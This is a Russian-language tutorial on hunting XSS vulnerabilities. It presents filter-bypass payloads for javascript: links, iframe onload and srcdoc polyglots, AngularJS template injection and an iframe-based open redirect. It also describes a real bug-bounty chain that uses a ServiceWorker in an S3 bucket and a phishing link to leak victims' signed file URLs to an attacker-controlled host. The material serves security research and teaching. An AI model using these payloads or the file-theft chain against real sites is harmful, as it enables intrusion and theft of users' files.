Ищем XSS как профессионалы часть 2
wr3dmast3rВсем привет! Сегодня мы продолжим углубляться в тему поиска уязвимости XSS.

В предыдущей статье был упомянут способ использования XSS с помощью схемы javascript:
?backUrl=%20javascript:alert()
Подумаем, как разработчик мог починить такую уязвимость?
Например, если в случае с XSS, мы можем просто засанитизировать специфические пользовательские символы, в случае со схемой javascript это не сработает, и разработчик может подумать, а что если я буду требовать формат URL? То есть protocol://host:port/... и какой-то путь если он есть.
Но на самом деле используя синтаксис javascript'a можно сделать такой пейлоад:
<a href="javascript://qwe.com/%0aalert()">Вернуться</a>
Он выглядит как URL, ничем не отличается от URL, но также вызывает функцию alert при нажатии, то есть мы вызываем single line comment, комментим всё что находится до переноса строки, переносим строку и выполняем наш alert.
Выглядеть будет это примерно так:

А что если просто запретить слово javascript в url? :)
Вроде должно работать, но на самом деле не всё так однозначно. В некоторых местах браузер использует кодировку html entity не так как нужно, и в этом случае если слово javascript: закодировано в html entity, то при нажатии на эту ссылку браузер все равно поймет что этот html entity является схемой javascript'а и её тоже можно использовать.
<a href="javascrip&#x 74;://qwe.com/%0aalert()">Вернуться</a> javascript: = javascript;
Таким образом мы обойдем защиту, если она будет.
Единственный вариант здесь это требовать чтобы ссылка начиналась на http(s) или была относительной, то есть не разрешать пользователю использовать схемы, например gopher, ftp и т.д.
XSS - Level 3
На данный момент у нас получился такой пейлоад:
'"></title></script><script>alert()</script>
Он попадает под большое количество ситуаций, но мне в нем не нравится то что мы до сих пор используем в нём стандартный <script>alert()</script> - это самое базовое что может быть при поиске XSS. Поэтому я предлагаю использовать вместо этого iframe.
Но не просто iframe, а с обработчиком событий:
'"></title></script><iframe onload='alert``'>
Что такое сам тег iframe? Тег iframe - используется для того чтобы отобразить страницу внутри страницы, то есть вы находитесь на сайте, и сайт хочет загрузить страницу с другого ресурса, и для этого разработчики используют iframe. Так же в нем есть атрибут src - это адрес до сайта который он хочет отобразить у себя. И независимо от того прогрузился src (путь до сайта) или нет, onload будет работать всегда, то есть если у нас iframe срендерится, то onload будет работать во всех случаях, даже если src=x.
Плюсы использования iframe:
- Легко заметить, если пейлоад встраивается в страницу, но на onload работают санитайзеры.
Выглядеть на странице он будет примерно так, и в интерфейсе его легко заметить, так же из-за него может съехать вёрстка, что также будет заметно

2. Есть волшебный атрибут srcdoc
Payload выглядит так:
<iframe srcdoc="<script>alert()</script>">
Мы опять же передаем html entity строку, и при этом если браузер срендерит этот iframe и разработчик не подумал об этом атрибуте, возможно выполнение javascript кода.

В качестве значения атрибута здесь используется стандартный вызов функции alert.
3. Не раскрутить XSS - но есть почти гарантированный open redirect.
Также если у вас не получилось раскрутить XSS, то все равно остается уязвимость которую можно попробовать проэксплуатировать, пейлоад open redirect такой:
<iframe src="https://hunter.ru/toplevel.html">
Содержимое страницы https://hunter.ru/toplevel.html довольно таки простое:

Это просто скрипт который задает top.window.location на какую-то другую страницу, и при этом если браузер срендерит это на каком-то сайте его редиректнет на этот https://evil.com. Это происходит потому что в браузере есть иерархия окон, наш iframe является промежуточным окном, но при этом он может влиять на top.window.location, и может перезаписать его, таким образом возникает уязвимость Open Redirect.
XSS - Level 1337
Пробелы между атрибутами в теге могут замениться слэшем:
Тэг необязательно закрывать! <iframe/onload='alert``'
Оказывается бразуеры добрые, и они закрывают теги вместо разработчиков. :)
Таким образом мы можем прийти к такому пейлоаду:
'"></title/</script/</style/><iframe/onload='alert``'
Есть кейс, когда пейлоад попадает внутрь комментария (<!--...-->), нужно закрывать и его, просто добавим -->:
'"></title/</script/</style/--><iframe/onload='alert``'
XSS в личных сообщения на...
Подробности о программе раскрывать нельзя. Это XSS уязвимость в личных сообщениях, в приложении был функционал обмена сообщениями, и разработчики для защиты от XSS обрезали всё что подходило под паттерн "<....>".
Примерно так это выглядит:

Если мы пошлём закрытый тэг, то он обрежется, получим просто пустое сообщение. Однако если мы пошлём незакрытый тег, то он отрендерится. :)

Фреймворки
А что если разработчики используют различные фреймворки? Например, клиентские - AngularJS/VueJS. Тут есть специфичный пейлоад:
{{7*7}} --> 49
Если выражение посчиталось и отобразилось в интерфейсе сайта, то возможна XSS уязвимость. Здесь можно использовать такой пейлоад:
{{constructor.constructor('alert()')()}}
Но он зависит от версий, в случае с AngularJS:
(F12 - Console - angular.version)
Ознакомиться с версиями и узнать подробнее об уязвимости можно по ссылке.
Как и в случае с html entity, ангуляру без разницы, фигурные скобки или html entities прислал пользователь:
{&x7B;7*7}} -> 49
Примерно такой пейлоад у нас получился:
'"/test/></title/</script/</style/-->{{7*7}}<iframe/onload='alert``'<!--
Ситуативно:
</title/</script/</style/</noscript/-->...
Если можем записать свой атрибут (onerror, onmouseover,...):
'"/test/
AngularJS, VueJS:
{{7*7}}
И если мы попали внутрь <script>...</script>, то нужно смотреть контекст, универсального решения нет.
Вы можете сказать что есть много различных polyglot пейлоадов. В чем смысл статьи?
- Размер строки меньше, т.к. не предусматривает попадания туда, где нужно использовать схему javascript: (ссылки).
- Включает проверку Angular, VueJS
- Расширенное покрытие случаев с записью атрибутов
Здесь интересно, потому что обычные polyglot пейлоады используют onload='alert()' или подобные, но не все html теги куда мы теоретически можем попасть нашим пейлоадом поддерживают данные события. Поэтому я предлагаю новое решение:
'"/test/></title/</script/</style/-->{{7*7}}<iframe/onload='alert``'<!--

Если такой пейлоад встроится в значение атрибута какого-то тега, то мы сможем выйти из значения атрибута и записать свой атрибут test.
Но казалось бы что это нам даст?
Я предлагаю использовать примерно такой код:

Добавляем его на каждую страницу через расширения и ходим по страницам в поисках XSS :)
У нас тут есть проверка, если querySelectorAll нашел элемент с атрибутом test, просто alert'и нам что и XSS есть, и дальше мы идём в DOM и смотрим в какой элемент мы попали.
Пример:

Есть какой-то тег script, где есть атрибут test, если мы выполним наш код, и посмотрим длину результата, то получаем 1, соответственно если какой-то тег уязвим и мы записали туда свой атрибут, то мы можем дальше раскручивать уязвимость.
Давайте теперь поговорим о том как разработчики защищаются от XSS и какие механизмы защиты существуют.
- Origin = protocol + hostname + port
https://resolute-attack.com:443
Используется для разграничения доступа javascript между разными сайтами.
2. Same-Origin-Police (SOP)
JS, выполняемый на Origin https://resolute-attack.com:443 не может получить доступ к содержимому следующих Origin:
https://google.ru:443
https://resolute-attack.ru:443
ftp://resolute-attack.com:443
Можно сделать вывод, что XSS на одном Origin не опасна для другого Origin. Но и здесь не всё однозначно, так как существуют легальные способы обхода данной защиты (CORS, WebSocket, PostMessage, JSONP, Flash)
Также возможно что куки, поставленные на одном порту можно прочитать на любом другому порту.
Также существуют экспериментальные фичи JS, которые иногда могут нести угрозу для SOP.
Это интересно знать, так как иногда это приводит к неожиданным результатам.
XSS в S3 бакете, позволяющая красть чужие файлы.
Контекст приложения - это CRM, где можно заводить всякие сделки с клиентами и заполнять разную инфу, в том числе и загружать разные файлы.

Я подумал что будет если загрузить простую html страничку?

Она загружается и при открытии возникает XSS:

Но XSS на первый взгляд не в приложении, а в S3 бакете. Они берут файл пользователя, кладут у себя его в бакет и дальше когда пользователь хочет получить доступ к файлу, он делает это в приложении, но приложение редиректит его на s3 бакет, где этот файл хостится.
Здесь что интересно:
- При попытке открыть файл, на сервере генерируется подпись запроса, то есть нельзя просто так взять и получить файл, тебе нужно чтобы твой запрос был обязательно подписан. Это как раз происходит на серверной стороне приложения, когда мы загружаем свой файл и когда мы хотим открыть файл, на сервере происходит генерация подписи и приложение редиректит на s3 бакет, и подпись уже будет включена в запрос, и по этой подписи файл будет доступен какое-то время. Примерно так она выглядит:

2. Javascript выполняется на другом Origin.
На первый взгляд XSS бесполезна, но, есть несколько факторов играющих нам на пользу:
- Возможность загрузить любой файл
- Возможность выполнять произвольный javascript
- Все файлы, в том числе других пользователей, кладутся в одну и ту же папку (например, в корень)
- Ссылкой на загруженный файл можно поделиться с кем угодно.
Данные факторы позволяют красть чужие файлы через перезапись ответа ServiceWorker'ом.
Для этого нужно:
- Создать и загрузить serviceworker.js

Мы навешиваемся на событие fetch, и переписываем ответ сервера на код iframe.... и говорим что тип контента это text/html, и каждый запрос пользователя будет возвращать одинаковый ответ, в котором будет iframe который будет подгружать контролируемый сайт.
2. Также мы загрузим exploit.html

Это страница которая нужна для эксплуатации этого serviceworker.js, и мы его здесь регистрируем, со всеми нужными подписями, и говорим что скоуп корень.
Если кто-то откроет этот exploit.html то произойдет следующее:
- В браузере зарегистрируется serviceworker
- При открытии любой страницы этого сайта, начиная от директории с serviceworker.js, ответ перепишется на:
<iframe src="https://hunter.ru/ref?x=">
3. В заголовке Referer браузер передаст путь, на котором сработал serviceWorker
От лица жертвы это будет выглядеть примерно так:

Я пошлю какое нибудь фишинговое письмо с короткой ссылкой на свой exploit.html файл, зарегистрирую у пользователя serviceworker:

Дальше если этот пользователь захочет открыть файл у себя в организации ответ перепишется на iframe который ведет на контролируемый сайт, и я получу примерно такой запрос:

И здесь интересно то что в Referer есть полный путь до его файла со всеми подписями :)